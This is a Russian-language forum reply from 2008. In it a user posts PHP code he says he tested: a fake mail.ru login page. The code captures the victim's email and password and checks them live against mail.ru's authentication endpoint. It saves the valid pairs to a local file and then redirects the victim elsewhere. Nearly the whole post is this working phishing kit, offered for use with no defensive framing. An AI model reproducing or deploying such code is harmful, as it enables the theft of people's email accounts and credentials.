Показать сообщение отдельно

  #4  
Старый 15.12.2008, 00:02
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

m0Hze
Вот тебе навоял пример для mail.ru. Работает, проверял)

PHP код:
<?php

if(isset($_POST['submit'])){ // Если данные отправились

    
$mail $_POST['mail'];
    
$zone $_POST['zone'];
    
$pass $_POST['pass'];

    
$post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;

    
$cl curl_init('http://win.mail.ru/cgi-bin/auth');
    
curl_setopt($clCURLOPT_RETURNTRANSFER1);
    
curl_setopt($clCURLOPT_USERAGENT'Opera/9.25 (Windows NT 5.1; U; ru)');
    
curl_setopt($clCURLOPT_REFERER'http://mail.ru/');
    
curl_setopt($clCURLOPT_HEADER1);
    
curl_setopt($clCURLOPT_POST1);
    
curl_setopt($clCURLOPT_POSTFIELDS$post);
    
$exec curl_exec($cl);
    
curl_close($cl);

    if(
stripos($exec'Неверное имя пользователя или пароль')){

        echo 
'Неверные данные';

    }else{

        
/* Запись в файл */
        
$open fopen('result.txt''r+t');
        
fputs($open$mail.'@'.$zone.' : '.$pass."\r\n");
        
fclose($open);

        
/* Переадресация куда-то */
        
header('location: http://kuda-to.ru');
        die();
    }

}else{

    
?>
    <form action="" method="post">
        <input name="mail" type="text" /><br/>
        <select size="1" name="zone">
            <option value="mail.ru">mail.ru</option>
            <option value="bk.ru">bk.ru</option>
            <option value="inbox.ru">inbox.ru</option>
            <option value="list.ru">list.ru</option>
        </select><br/>
    <input name="pass" type="password" />
    <input type="submit" value="Войти" name="submit" />
    </form>

    <?php

}

?>
Ну а всякие там проверки и т.д. сделаешь сам)
 
Ответить с цитированием